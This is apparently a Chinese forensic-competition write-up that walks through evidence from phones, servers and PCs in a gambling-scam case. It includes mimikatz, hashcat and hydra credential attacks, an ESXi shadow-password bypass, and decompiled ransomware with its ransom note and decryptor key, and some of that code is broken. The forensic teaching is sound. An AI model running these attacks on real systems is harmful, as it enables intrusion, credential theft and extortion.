找到对应的SAM文件及SYSTEM文件后(WindowsSystem32configSAM、WindowsSystem32configSYSTEM)复制到我们物理机桌面,之后使用mimikatz提取密码,如下所示
privilege::debug
lsadump::sam /sam:SAM /system:SYSTEM


电脑中装了Xshell,对其记录进行分析即可:、
/Users/Web King/Documents/NetSarang Computer/7/Xshell/Sessions

由于power shell有类似CentOS终端记忆历史命令的功能,仿真检材2打开power shell按 ↑ 即可。
power shell历史命令文件名为ConsoleHost_history.txt。X-Ways文件名过滤:

查看下载记录:
Users/Web King/AppData/Local/Google/Chrome/User Data/Default/History

可以发现下载了goDCE、ZTuo,二者本质上都是 数字资产交易所(CEX)后端框架,它们的功能类似,主要用于 中心化交易所(CEX)的后端开发。goDCE开发语言是GO,ZTuo开发语言是JAVA
由前面题目所分析,货币交易网站是以JAVA语言开发的,并且使用了Spring Boot,与ZTuo项目后端技术吻合:

另一思路:检材一中/web/app/admin和/web/app/web下分别有一个README.md文件,里面对应着github项目下的README.md
另另一思路:结合浏览器访问记录里的网站名称判断:

仿真查看:

不知道为什么没有,网上火眼取证的WP都直接出来了……


(按照格式来的话答案为Ubuntu 20.04)
进入wsl,mysql --version查看版本:

或者分析Ubuntu/Debian 系统的核心数据库文件,其记录所有已安装软件包的元数据和状态信息。:
C:UsersWeb KingAppDataLocalPackagesCanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgscLocalState
ootfsvarlibdpkgstatus

debian-sys-maint用户的初始密码位于/etc/mysql/debian.cnf中,查看该文件:

检材2中wsl的history中有ssh连接检材3的记录:

在历史命令中发现嫌疑人进入了/data/mysql之后使用了docker-compose up:

进入目录/data/mysql后,查看docker-compose.yml配置文件,发现使用了端口33050:

首先netstat -anptu命令查看当前运行的所有连接中的socket,并没有发现33050端口的线索
-a: 显示所有连线中的Socket;
-p: 显示正在使用Socket的程序识别码和程序名称;
-n: 直接使用ip地址,而不通过域名服务器解析;
-t: 显示TCP传输协议的连线状况;
-u: 显示UDP传输协议的连线状况;

根据历史记录可以猜测出33050是docker容器对外映射的一个端口。docker开启docker服务,查看容器:
systemctl start docker.service
docker ps
发现8e开头的这个容器做了端口映射3306<--->33050,将MySQL的端口暴露到外面。

但题目问的是监听33050端口的程序,我们再次运行netstat -anpt命令查看socket情况

可以看到进程是docker-proxy
A. Postgresql
B. Redis
C. Oracle
D. MongoDB
由上题分析历史命令可以发现:


另一思路:
第9-10题对jar包的逆向分析中,我们从spring框架web应用程序的配置文件——application.properties文件中可以看到网站数据库依赖


同时还发现了172.16.80.128:33050的jdbc配置信息,也就是它docker中MySQL的登录配置信息。

在docker-compose.yml配置文件中能找到MYSQL配置数据:
/data/mysql/docker-compose.yml

通过对docker-compose.yml的分析,可以看到它是将/data/mysql/db目录,挂载到了容器的/var/lib/mysql中,所以/var/lib/mysql就是他的数据目录
另一思路:进docker mysql内部 查看一下配置文件
docker exec -it 8e /bin/bash
whereis mysql
/etc/mysql/mysql.conf.d/mysqld.cnf

注意配置文件中的datadir
另另一思路:进入docker容器内部,搜索一下常见mysql的证据文件
docker exec -it 8e /bin/bash
find / -name *.frm

可以在命令历史记录中发现数据库服务器被删库过:

底下找到了删库的命令:

另一思路:
在对jar包的逆向中,只找到了cn.ztuo.bitrade.service.AdminService下的sql查询是admin表,并不知道它所属的数据库。
好在22题中,对jar包分析中找到了数据库进行jdbc连接时用的URL,其格式为子协议://服务器名或IP地址:端口号/数据库名?参数=参数值。由此知道该jdbc连接的是172.16.80.128:33050的b1数据库。

提到数据库用户操作,那自然是找MySQL日志,首先用show variables where Variable_name='general_log_file';命令找到MySQL日志路径
mysql -u root -p
shhl7001

当然这是docker容器中的路径,我们可以去它的外部映射路径/data/mysql/db里找该日志文件,搜索关键词update即可,其中只有三条是修改用户手机号:

同理,搜索delete关键词:

过滤文件夹名b1,在检材2中发现两个相同大小的文件夹:

将b1导入检材3/data/mysql/db:

使用navicat连接数据库,发现登录记录:

数据库恢复完成后(否则后台验证码难以加载)重构网站(检材一),在后台进行分析:


另一思路:继续分析数据库可找到:

首先在表中筛选grade=3的记录共158条

分析日志中被删除的那28条用户中是否存在grade=3的用户
根据之前日志分析中,被删除的用户id为973~1000,因此数据库增加数据搜索关键词VALUES (973

注意看倒数第四的数据为3的记录,再次搜索关键词:0, 3, 0, 0

根据之前的分析,用户钱包中的可用余额与member_wallet中balance列对应,因此balance值为0的用户没有充值记录:

另一思路:导出所有用户id(并加入删除的用户),在交易明细member_transaction中导出member_id列,进行去重后对比



剖析后导出,同样导出所有用户ID,进行去重可得到:


交易记录中都是USDT的充值记录,进行SQL语句查询:
SELECT SUM(amount) FROM member_transaction WHERE symbol = 'USDT' AND type = 0;

分析检材四,是一个.npbk文件:

得到npkb文件后,有两种处理方法
方法1:对安卓模拟器文件的取证,我们无需专门去安装对应的模拟器,可以直接用解压软件解压获得镜像文件
方法2:使用夜神模拟器的导入功能将npbk文件导入,得到一个新的模拟器,证实使用的是夜神模拟器
方法1,用手机大师进行取证,在微信聊天记录中找到:

聊天记录是还原案情的关键:


方法二:


软件名为录屏,搜索安装包:

由于是使用软件生成的录像文件,就去找这个应用对应的外部存储中的文件数据路径,这里的外部存储,也就是模拟器中 Amaze 文件结构中的主目录/storage/emulated/0/Android/data/com.jiadi.luping/files
在 Movies 文件夹下,长按选择【重命名】,就可以得到完整的文件名:


进行注销即可查看:



被加密的文档在分析检材二时出现过:

导出看图标就能看出是python语言编译的:

另一方法:使用Detect It Easy查看exe发现程序是pyinstaller生成的可执行文件,于是得出编译该加密程序使用的语言是python

另另一方法:用ida反编译加密程序,查看字符串发现了很多py后缀,确定使用的语言就是python

另另另一方法:将恶意程序提交到微步云沙箱,自动分析后得出其引擎为python

jpg
png
zip
mp4
rar
7z
xls
docx
txt
mp3
对加密程序进行反编译(exe转pyc转py):
# Source Generated with Decompyle++
# File: D:/ctftools-all-in-one/libdll/ncrypt_file.exe_extracted/encrypt_file_1.pyc (Python 3.6)
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----
MIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI
CO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo
bHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn
HLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi
SOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz
RDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I
kwIEHoau+w==
-----END PUBLIC KEY-----
'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!
He can help you to understand whats happened.
If he can't help you,contact us via email:
aa1028@forensix.cn
ale@forensix.cn
HURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!
You can attach 2 files (text or picture)to check our honest intentions,we will heal them and send
back.
Please pay 0.618 ETH
The wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850
************************************
"
class XORCBC:
def __init__(self = None, key = None):
self.key = bytearray(key)
self.cur = 0
def encrypt(self = None, data = None):
data = bytearray(data)
for i in range(len(data)):
tmp = data[i]
data[i] ^= self.key[self.cur]
self.key[self.cur] = tmp
self.cur = (self.cur + 1) % len(self.key)
return bytes(data)
print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~
')
def run_finall():
for filepath, dirnames, filenames in os.walk(os.getcwd()):
for filename in filenames:
if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
ExtensionPath = os.path.splitext(filename)[-1]
if not '.txt' == ExtensionPath and '.jpg' == ExtensionPath and '.xls' == ExtensionPath:
if '.docx' == ExtensionPath:
time.sleep(3)
data_file = os.path.join(filepath, filename)
rsakey = RSA.import_key(pubkey)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
xor_key = os.urandom(16)
xor_obj = XORCBC(xor_key)
outf = open(data_file + '_encrypted', 'wb')
encrypted_xor_key = cipher.encrypt(xor_key)
outf.write(encrypted_xor_key)
buffer_size = 4096
with open(data_file, 'rb') as f:
while None:
data = f.read(buffer_size)
if not data:
break
outf.close()
os.remove(data_file)
return None
run_finall()
def redme():
try:
dir = os.path.join(os.path.expanduser('~'), 'Desktop')
print(dir)
with open(dir + '/!READ_ME.txt', 'w') as ff:
ff.write(msg)
except:
dir1 = os.getcwd()
print(dir1)
with open(dir1 + '/!READ_ME.txt', 'w') as ff:
ff.write(msg)
print('
加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')
Warning: block stack is not empty!

由上题分析可知,是通过XOR异或算法对文件进行加密的
同理,源码中存在公钥
运行解密程序,发现需要密码:

反编译exe,得到:
# Source Generated with Decompyle++
# File: D:/ctftools-all-in-one/libdll/ecrypt_file.exe_extracted/decrypt_file_1.pyc (Python 3.6)
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
prikey = '-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAx5JF4elVDBaakgGeDSxICO1LyyZ6B2TgR4DNYiQoB1zAyWPD
wektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVobHVZh+rCI4MwAh+EBFUeT8Dzja4Z
lU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRnHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2
fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYziSOT4PCf/O12Kuu9ZklsIAihRPl10
SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhzRDFn9IQ6YQRjlLjuOX8WB6H4NbnK
X/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/IkwIEHoau+wKCAQAlhHEjPTFQ7suY
U3Ji+L5TyeaFWYu3iDVmtzUTjUn2Yvr2+IyHKdU6z0vvGhsHYP8rUJcwWEBVaVbU
dQZ8TXT0flBgC35NyGQnTHHbNsOWRvFpto0Gom5KuDS0DYPrm+Ic1Ev0SfLdY+iK
V/uzjjeBF+CgEuvwO8xnYLsaFu6s0/ezQgEDBxpcN2KBBZoJ0eXxUUanEPkrLHA2
DhRgUCKQks1kpJrGZp/DLb8dKfhWoQ1FV/bBsmv9lVj1Yk14oKdvb51QK53Mnhiz
ji49S+tazVCA+lP0M6lVSB2uLyB5JldT4kqOQvhtURSzW8oeTM9w1rLvW7qi823U
WrJz+TQTAoGBAPIfUS9accG2fUA3AP93ZJU0SbZLc95JJXMyaRozFTTbxnMWB3sG
qM9X1qZ4hECVvLF3Sn73B6kF3IaC8/Vpc2cyPHpM+ytdxZVm4uW75ZwYAvKEJeT3
068CtcN6PvG3mFhvPsc3GK9FI1O63jrbSx+Y1hQlrVq6eMZUJh7V8BxXAoGBANMC
mhN2sC85Pz450JNoG6Q3db0nm9kUs157TUBMGJCfvgh2Rj0t08FcEKQn+idtOf6Z
Zc2lRoLeaRq539Ex8zzsD7Dl7bFtePRsuDcAMuIFY2S0Z8jjj9BaCirrUluu1FWp
TV60As9YBLnRosLTrYtgym+GNjdE/42uFRBJk9AlAoGBAIyGeStBbau1BmMSeTJt
9QYjl95MJZXTbJD4IFV73nVG66I/yKp9Ry3Q1hHf/oDm6bepslI/7+lLK1TPRv7T
O0PNY92vya15RUvFerOz2QvOz9SRh/ZU6rEwsy0qZtanGZ7pKCSsQIwcJcsTKdjO
vMj9QIqxqmdpdh6zFDeGKu4/AoGAEzFuMCQH+liRp9MEZtEtoqtUSwbwhSUh4hl+
nScp+a+sKIaF/ohJfXeBctWCF6iU/N5TH7SlnfBlZE7MBJHiiAz8EwWI4u4EmFkc
7RvmfXowLO9L4pG2rzwcMGgrs9cJm+NcjlNmq+Kx4q+F4lHNN8+/7NPdmDyiUlAD
ATZCds8CgYEA2CFvsH+TUV3Q63UdTsdrUKK86vohjGSaoai7mEUGo4iZ/Ie+ScAa
GtPFZUhO7EJqh2rNqAakfZGgKU43hAjiUHIjvZdAFNoqpNxO+bkEIPSFQQ6o34r3
aGTj9Pz1UH/ByW76V7defT/2jQsXHHFiVGpDU6WT80bInLqDQRxlDRk=
-----END RSA PRIVATE KEY-----
'
class XORCBC:
def __init__(self = None, key = None):
self.key = bytearray(key)
self.cur = 0
def decrypt(self = None, data = None):
data = bytearray(data)
for i in range(len(data)):
data[i] ^= self.key[self.cur]
self.key[self.cur] = data[i]
self.cur = (self.cur + 1) % len(self.key)
return bytes(data)
def run_decrypt():
print('解密程序 V1.0
')
present = input('请输入密码:')
if present == '4008003721':
for filepath, dirnames, filenames in os.walk(os.getcwd()):
for filename in filenames:
if '_encrypted' in filename:
print(os.path.join(filepath, filename) + '-解密成功')
data_file = os.path.join(filepath, filename)
data_handle = open(data_file, 'rb')
rsakey = RSA.import_key(prikey)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
xor_key = cipher.decrypt(data_handle.read(256), '')
xor_obj = XORCBC(xor_key)
outname = data_file.replace('_encrypted', '')
outf = open(outname, 'wb')
buffer_size = 4096
while None:
data = data_handle.read(buffer_size)
if not data:
break
outf.close()
print('
恭喜您,解密成功~~~~~~~~~~~~~~~')
os.system('pause')
else:
print('
密码错误~~~~~~~~~~~~~~~')
run_decrypt()
run_decrypt()
密码就在源码中,直接解密得到flag:

网站前台APK下载地址被技术员修改成恶意APK了,在链接下载APK后对其进行分析:

读取SD卡内容
使用相机
修改系统设置
修改删除SD卡内容
安装APK

<uses-permission android:name="android.permission.FOREGROUND_SERVICE" ></uses-permission>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" ></uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" ></uses-permission>
android.permission.FOREGROUND_SERVICEandroid.permission.SYSTEM_ALERT_WINDOWandroid.permission.WRITE_EXTERNAL_STORAGEndroid.permission.READ_EXTERNAL_STORAGE最近探索到了天穹动态分析沙箱:


需要脱壳,卡这了,不会。

我也想要一键脱壳。
以下内容来自WP:

定位过去,大致看下逻辑,结合交互信息对应的条件可以确定是第几关。

其中OnClick函数这里有个明显的字符串对比,trim2是我们的输入,从而可以确定答案

接上题,注意到第二关这里

对App.OooO0O0.OooO0oo查看用例,发现在这里被初始化。

分析OooO0O0.OooO0O0,能发现这个函数是把十六进制串转为byte数组。

而decrypt是native函数,从libcipher.so中加载。


方法一:通过frida直接hookApp.OooO0O0.OooO0oo的值,模拟器先把frida-server开起来(注意不要给ZTuoExchange root权限),跑脚本frida -U -l hook.js "ZTuoExchange"
setImmediate(function () );
})
方法二:建立Android项目,把需要的文件和函数都放进来,直接调用decrypt和OooO0O0.OooO0O0获取this.OooO0oo的值。

参考:https://note.youdao.com/ynoteshare/mobile.html?id=78afde521af47956731c8185624110ec&type=note&_time=1667732405820#/
注意到这里

查看其声明

要求字符串长度为24。4个一组,通过移位将4个数构成一个大数,分成6组操作。其中try块里会触发unused异常(强制转换为Integer那里),真正的验证逻辑在catch块中。查看声明,确定OooO函数和OooO0oO数组。


可以每4个进行爆破,每个都是可见字符

class Main {
private static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};
public static void main(String[] args)
}
if (flag)
break;
}
if (flag)
break;
}
if (flag)
break;
}
}
}
public boolean OooO0O0(String str)
long[] jArr = new long[6];
for (int i = 0; i < str.length() / 4; i++) {
int i2 = i * 4;
jArr[i] = (long) (str.charAt(i2) << 16);
jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 1) << 'b'));
jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 2) << 24));
jArr[i] = ((long) str.charAt(i2 + 3)) | jArr[i];
// PrintStream printStream = System.out;
// printStream.println("buildKey:i:" + i + ",value:" + jArr[i]);
}
try {
int[] iArr = {1197727043, 1106668192, 312918557, 1828680848, 1668105873, 1728985862};
Object[] objArr = {'x', '1', ':', 'A', 'z', '}'};
for (int i3 = 0; i3 < 6; i3++)
}
return true;
} catch (Exception unused)
}
return true;
}
}
private static long[] OooO(long j, long j2) ;
}
long[] OooO = OooO(j2 % j, j);
return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};
}
}
2024年4月,卢某报案至警方,声称自己疑似遭受了“杀猪盘”诈骗,大量钱财被骗走。卢某透露,在与某公司交流过程中结识了员工李某。李某私下诱导卢某参与赌博游戏,起初资金出入均属正常。但随后,李某称赌博平台为提升安全性,更换了地址和玩法,转为通过群聊抢红包形式进行赌博。随着赌资不断增加,卢某投入巨额资金后,发现无法再访问该网站,同时李某也失去联系,卢某遂意识到自己被骗。
在经济压力下,卢某选择报警,并承认参与赌博活动,愿意承担相应法律后果。警方依据卢某提供的线索和手机数据,迅速锁定犯罪团伙,并在一藏匿地点成功抓获犯罪嫌疑人李某和赵某。警方对嫌疑人持有的物品进行了证据固定:李某手机被标记为检材1,窝点内服务器为检材2,赵某使用的计算机为检材3。
接下来,请取证工作者根据案情和这些检材进行深入分析,并解答后续问题。
A. Xiaomi MI 2s
B. Xiaomi MI 4
C. Xiaomi MI 6
D. Xiaomi MI 8
源文件地址:
misc/location/xtra/useragent.txt

A. iPad Pro 11
B. Vivo Pad 2
C. MatePad Pro
D. Xiaomi Pad 6s
火眼取证中得到的WI-FI连接记录中有:

WIFI连接记录源文件地址:
misc/wifi/WifiConfigStore.xml

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<WifiConfigStoreData>
<int name="Version" value="1" />
<NetworkList>
<Network>
<WifiConfiguration>
<string name="ConfigKey">"Xiaomi Pad 6S Pro 12.4"WPA_PSK</string>
<string name="SSID">"Xiaomi Pad 6S Pro 12.4"</string>
<null name="BSSID" />
<string name="PreSharedKey">"12345678"</string>
<null name="WEPKeys" />
<int name="WEPTxKeyIndex" value="0" />
<boolean name="HiddenSSID" value="false" />
<boolean name="RequirePMF" value="false" />
<byte-array name="AllowedKeyMgmt" num="1">02</byte-array>
<byte-array name="AllowedProtocols" num="1">03</byte-array>
<byte-array name="AllowedAuthAlgos" num="1">01</byte-array>
<byte-array name="AllowedGroupCiphers" num="1">0f</byte-array>
<byte-array name="AllowedPairwiseCiphers" num="1">06</byte-array>
<boolean name="Shared" value="true" />
<int name="Status" value="2" />
<null name="FQDN" />
<null name="ProviderFriendlyName" />
<null name="LinkedNetworksList" />
<null name="DefaultGwMacAddress" />
<boolean name="ValidatedInternetAccess" value="true" />
<boolean name="NoInternetAccessExpected" value="false" />
<int name="UserApproved" value="0" />
<boolean name="MeteredHint" value="false" />
<int name="MeteredOverride" value="0" />
<boolean name="UseExternalScores" value="false" />
<int name="NumAssociation" value="3" />
<int name="CreatorUid" value="1000" />
<string name="CreatorName">android.uid.system:1000</string>
<string name="CreationTime">time=03-14 16:55:57.249</string>
<int name="LastUpdateUid" value="1000" />
<string name="LastUpdateName">android.uid.system:1000</string>
<int name="LastConnectUid" value="10014" />
<boolean name="IsLegacyPasspointConfig" value="false" />
<long-array name="RoamingConsortiumOIs" num="0" />
<string name="RandomizedMacAddress">02:00:00:00:00:00</string>
</WifiConfiguration>
<NetworkStatus>
<string name="SelectionStatus">NETWORK_SELECTION_ENABLED</string>
<string name="DisableReason">NETWORK_SELECTION_ENABLE</string>
<null name="ConnectChoice" />
<long name="ConnectChoiceTimeStamp" value="-1" />
<boolean name="HasEverConnected" value="true" />
</NetworkStatus>
<IpConfiguration>
<string name="IpAssignment">DHCP</string>
<string name="ProxySettings">NONE</string>
</IpConfiguration>
</Network>
</NetworkList>
<PasspointConfigData>
<long name="ProviderIndex" value="0" />
</PasspointConfigData>
</WifiConfigStoreData>
关注字段<WifiConfiguration>(Wi-Fi基本配置)

手机开启热点设置源文件地址:
misc/wifi/softap.conf


微信内部ID源文件地址:
data/com.tencent.mm/shared_prefs/com.tencent.mm_preferences.xml

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<long name="sql_trace_child_thread_interval_time" value="1000" />
<boolean name="Main_ShortCut" value="true" />
<long name="sql_trace_file_full_size" value="30720" />
<boolean name="hasInitVoiceControlData" value="false" />
<long name="sql_trace_child_transaction_interval_time" value="5000" />
<int name="com.tencent.mm.gallery.cache.suffix" value="0" />
<long name="handler_log_file_max_size" value="35840" />
<long name="handler_debug_log_time" value="15000" />
<long name="sql_trace_log_file_max_size" value="35840" />
<boolean name="Main_need_read_top_margin" value="false" />
<boolean name="isLogin" value="true" />
<boolean name="screenResolution_isModifyDensity" value="false" />
<int name="last_reportdevice_channel" value="0" />
<string name="reg_last_exit_ui">L200_100</string>
<long name="handler_trace_file_full_size" value="30720" />
<boolean name="room_placed_to_the_top" value="false" />
<long name="MMTempKeyStepLogger-Last-Clean-Time" value="1710796506617" />
<boolean name="hasTryToInitVoiceControlData" value="true" />
<string name="login_weixin_username">wxid_wnigmud8aj6j12</string>
<int name="last_reportdevice_clientversion" value="671099444" />
<int name="com.tencent.mm.plugin.gallery.cache.cache-file-num" value="5" />
<string name="last_avatar_path">/data/user/0/com.tencent.mm/MicroMsg/last_avatar_dir/user_8ef509bc8096a195ef7e1f9ee4610c88.png</string>
<string name="last_login_use_voice">32768</string>
<int name="com.tencent.mm.plugin.gallery.cache.cache-up-to-date" value="1" />
<string name="login_user_name">16601931006</string>
<long name="trace_config_last_update_time" value="1710489503467" />
<string name="last_login_bind_mobile">16601931006</string>
<string name="last_login_uin">2969892847</string>
<long name="handler_upload_time_interval" value="86400000" />
<int name="Main_top_marign" value="72" />
<long name="handler_debug_log_time_main" value="1500" />
<int name="heavy_user_session_cnt" value="8" />
<long name="sql_trace_main_thread_interval_time" value="500" />
<boolean name="room_notify_new_msg" value="false" />
<string name="last_login_nick_name">бб</string>
<string name="last_bind_info">4</string>
<long name="sql_upload_time_interval" value="10800000" />
<boolean name="force_notify" value="false" />
<int name="com.tencent.mm.compatible.util.keybord.height" value="747" />
<long name="sql_trace_main_thread_select_interval_time" value="300" />
<long name="sql_trace_main_thread_update_interval_time" value="500" />
</map>
关注字段login_weixin_username

扫码解密即可(新佛曰没了)

微信聊天记录解密(参考文章:导出微信的聊天记录并解密EnMicroMsg.db – Yaodo Blog)
微信聊天历史记录源文件:
data/com.tencent.mm/MicroMsg/a4acf80ba7af680ea2f4be21d60063d8/EnMicroMsg.db
微信聊天历史记录解密文件:
data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml
很快找出受害者

A. 03-14 15:55:57
B. 03-14 16:55:57
C. 03-14 17:55:57
D. 03-14 18:55:57
从题目2中源文件的分析中得出第一次连接WIFI的时间
重点关注关键词CreationTime(WIFI配置创建的时间戳)
A. 12:00-14:00
B. 14:00-16:00
C. 16:00-18:00
D. 18:00-20:00
分析聊天记录

大声密谋

看他微信号:


(原文地址:第四届FIC线上赛,官方复盘在这里!)
写在题目解析前面,服务器部分ESXI的重组会影响到做题的方法和进度,此处列举两种ESXI的重构和绕密方法:
在比赛当时,两种方法在重构难度上基本相同,不存在捷径。手动绕密看似更难,却可以实现百分百仿真,因为虚拟机设置可能存在开机自启等选项,该种方式可以在系统启动时正常加载所有虚拟机。这就像一次往返可能来回是不同的线路,很多人会选择眼前较近的路,在火眼仿真后再去手动挂盘。
这里我们主要介绍一下手动绕密自动挂盘的方式。
(1)首先使用FTK挂载ESXI的镜像。(此处注意点:挂载选项选择“物理”和“逻辑”;注意选择“逻辑”挂载是因为需要进入分区修改shadow文件)

(2)打开FTK挂载出来的虚拟磁盘,在250MB大小的一个分区找到state.gz文件。

解压层级为:State.tgz -> local.tgz -> /etc(建议使用7Z工具打开,直接在目录中点击编辑即可修改shadow文件,修改完成之后直接点保存即可)
(3)有了etc目录,绕密方式就比较明显了,将/etc/shadow文件root密码置空,重新按照路径选择tar.gz压缩回去后替换原文件。

(4)替换后完成后,使用VMware选择“创建新的虚拟机”,使用FTK挂载的物理磁盘,创建完成之后,即可启动新的虚拟机,ESXi密码此时已被清除,可以直接空密码登录。(由于是集群仿真,在仿真时需要勾选cpu嵌套虚拟化功能“Intel VT-x/AMD-V”,否则无法在虚拟机中再开虚拟机)


(5)建议(此步骤可以不做):ESXi环境启动之后(网络配置通畅),使用VMware自带的“连接远程服务器”功能,管理虚拟机会更加便捷,做题效率会提高。


(6)进入ESXi环境之后,所有虚拟机都没有提供密码,由于都是本地设备,可以采用单用户模式绕掉开机密码,网上教程很多,本文不做展开。(OpenWRT服务器终端默认空密码登录)
ESXi(全称:VMware ESXi)是VMware公司开发的一种企业级虚拟化平台,属于“裸机(bare-metal)”虚拟化技术。
简单讲就是:
仿真后即可看到:

A. 2024年3月12日星期二 02:04:15 UTC
B. 2024年3月12日星期二 02:05:15 UTC
C. 2024年3月12日星期二 02:06:15 UTC
D. 2024年3月12日星期二 02:07:15 UTC
配置好网卡,即可在192.168.8.112中访问到管理页面

可以发现系统的安装日期

由题目1可知

ESXI服务器的IP地址C段为192.168.8.1/24
启动网站服务器虚拟机,进行扫描探测存活:

思路一:找到网站服务器对应的虚拟机,其对应的VMDK文件为www-flat.vmdk,导出vmdk或者ftk挂载ESXi的E01,使用hashcat等爆破软件破解源检材中的/etc/shadow文件即可。

hashcat -m 1800 shadow -a 3 ?l?l?l?l?l?l
hashcat -m 1800 shadow -a 0 commonPwd.txt
思路二:在Windows检材内密码本也有该密码,也可以使用hydra,passware kit等工具扫爆。
(Hydra等服务爆破工具其实是非预期解,在获取检材情况下,可以通过技术手段获取所有有用信息对内容做拆解,而非使用黑盒方式获取,如果考察不可登录用户,或有ssh安全策略加固,则无法使用hydra等工具。)
hydra -l root -P commonPwd.txt ssh://192.168.8.89

有宝塔面板,查看端口即可:

默认建站目录:

没有发现网站源码:

可以发现日志有解压网站源码操作:

找到源码:

面板中配置的跟本地的不同,以本地为主:

网站在jar包中,也是为了引导去分析webapp下的jar包内容。查看ruoyi-admin.jar的配置文件application.yml明确redis超时时间:

导出ruoyi-damin.jar后,使用jadx打开。找到并跟进登录逻辑,可以通过搜索login或者账户、密码等关键词找到com.ruoyi.app.service.impl.UserInfoServiceImpl.login,进而看到盐值,由于这题答案符号较多,注意答题时去掉双引号
这里使用jd-GUI进行分析,找到BOOT-INF/classes/com.ruoyi/web/controller/app/UserController.class中的盐:

A. des
B. rsa
C. md5
D. bcrypt
思路一:数据库查看密码特征,这需要了解每个密码特征
(1)Des为对称加密,一般不用做密码加密,解密需要密钥;
(2)Rsa为非对称加密,一般也不用做密码而是密钥,结果一般为hex或者base64格式;
(3)Md5常见密码加密策略,这个大家应该都熟,结果为16/32位hex;
(4)Bcrypt常见密码加密策略,linux的shadow文件经典加密算法。特征为有多个$符号隔开。
启动数据库需要仿真data虚拟机,密码可在Windows内密码本爆破,做法与网站服务器类似。
同时Windows浏览器保存的openwrt密码和数据库服务器密码相同,当然这不是常规思路,但是如果临时猜解可以直接成功。(详见检材3计算机部分17题)
进入后发现服务器本身无mysql,简单查看或者使用火眼分析即可看到docker中有Mysql。
启动docker以及mysql容器即可,mysql密码在宝塔和docker inspect均可找到。

查看数据库,管理员用户信息记录在sys_use表,password列存储的就是密码密文。通过特征,可以确定为bcrypt。后面可以据此进行网站绕密。

思路二:BOOT-INF/lib/ruoyi-common/com.ruoyi.common/utils/SecurityUtils.class

从此步骤开始在这里与Windows部分交叉做题


计算其SHA1值即可
跳转到这个加密镜像的位置,发现了密码字典(可用于服务器集群部分的题目中)



简单的隐写
加载上题得到的加密容器,得到恢复密钥:

404052-011088-453090-291500-377751-349536-330429-257235

用密钥解密磁盘,进行挂载即可查看:

加密盘中存在信息:


A. stable diffusion
B. ROOP
C. Midjourney
D. DiffusionDraw
搜索关键词得到:

powershell历史记录中有:

powershell历史记录源文件:
/Users/L/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
由上题可知
由上上题可知
在Chrome浏览器历史记录里面可以找到解密url地址:

思路一:浏览记录中有:

思路二:之前手机检材中的聊天记录中有:

A. 2024-03-14 20:30:08
B. 2024-03-14 20:31:08
C. 2024-03-14 20:32:08
D. 2024-03-14 20:33:08
由上题分析可知
在Chrome浏览器保存的密码中有(火眼自动解密):

关键词搜索:

工资表是加密盘中名单.xlsx文件,使用passware password recovery kit forensic进行字典暴力破解可得
解密表格得到:

开始复原,打开数据库虚拟机

宝塔里写的数据库位置ip是192.168.8.142:

因此使用hydra进行爆破:
hydra -l root -P commonPwd.txt ssh://192.168.8.142
得到数据库服务器密码hl@7001
登录后发现没有mysql:

但是有docker,其中发现mysql镜像:
systemctl start docker
docker ps -a
docker start 9bf1cecec395

成功连接,得到账号密码使用navicat连接

ji-mei
JnzssCCsp2NCpcjA
sys_user表中有:

此题开始需要完整重建网站,重构指南在之前Windows机器分析中得到“运维笔记”:

按步骤来:
1.检查ruo-yi配置中mysql连接语句:

localhost改为192.168.8.142,再把密码改成JnzssCCsp2NCpcjA
jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
vi BOOT-INF/classes/application-druid.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
2.检查ssl

jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
vi BOOT-INF/classes/application-druid.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
3.检查redis

redis修改localhost为127.0.0.1
jar xf ruoyi-admin.jar BOOT-INF/classes/application.yml
